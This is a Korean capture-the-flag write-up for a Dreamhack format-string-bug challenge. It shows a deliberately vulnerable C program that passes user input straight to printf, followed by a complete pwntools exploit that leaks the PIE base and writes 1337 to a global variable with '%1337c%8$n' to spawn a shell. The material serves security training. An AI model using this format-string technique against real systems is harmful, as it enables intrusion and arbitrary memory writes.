[드림핵 시스템 해킹] Wargame : Format String Bug

asdf·2025년 1월 18일

pwnable

목록 보기
24/36

문제


풀이


취약점 분석


Full RELRO, NX, PIE가 적용되어 있습니다.

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

get_string 함수를 통해 buf에 32바이트 입력을 받습니다. 그리고 사용자가 입력한 buf를 printf의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생합니다.

익스플로잇 실행

풀이의 흐름은 다음과 같습니다.
1. changeme 주소를 구하기 위해 PIE 베이스 주소 구하기
2. 구한 changeme 주소로 값을 1337로 설정하기

먼저 PIE 베이스 주소를 구하겠습니다.
pwndbg로 printf(buf) 직전에 브레이크 포인트를 걸고 실행하겠습니다. 이후 rsp를 출력하겠습니다.

그리고 vmmap으로 fsb_overwrite 바이너리가 매핑된 영역도 확인해보겠습니다.

위의 rsp를 보면 rsp+0x48 위치에 0x555555555293 이 저장되어 있고, 이는 fsb_overwrite 바이너리가 매핑된 영역 내부입니다.
따라서 오프셋을 구하면 0x555555555293 - 0x555555554000 = 0x1293이 됩니다.

그럼 오프셋을 구했으니 코드에서 %15$p로 15번째 인자인 [rsp+0x48]에 오프셋을 빼면 PIE 베이스 주소를 얻을 수 있고, 이 주소로 changeme의 주소도 구할 수 있습니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host3.dreamhack.games", 10023)
e = ELF("./fsb_overwrite")

#x86-64 호출규약에 따라 [rsp]는 6번째, rsp+0x48 = rsp+(0x8 * 9)이므로 [rsp+0x48]은 6+9 = 15번째
p.sendline(b"%15$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.symbols["changeme"]
slog('code_base', code_base)
slog("changeme", changeme)

이제 얻은 changeme 주소에 1337이라는 값만 넣어주면 끝입니다.

#8번째 인자에 1337 쓰기
#8번째 인자는 [rsp+0x10] = changeme
#%1337c%8 / $nAAAAAA / changeme  <- 8번째
payload = b"%1337c%8$n".ljust(16, b'A')
payload += p64(changeme)

p.sendline(payload)
p.interactive()

아래는 전체 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host3.dreamhack.games", 10023)
e = ELF("./fsb_overwrite")

p.sendline(b"%15$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.symbols["changeme"]
slog('code_base', code_base)
slog("changeme", changeme)

payload = b"%1337c%8$n".ljust(16, b'A')
payload += p64(changeme)

p.sendline(payload)
p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글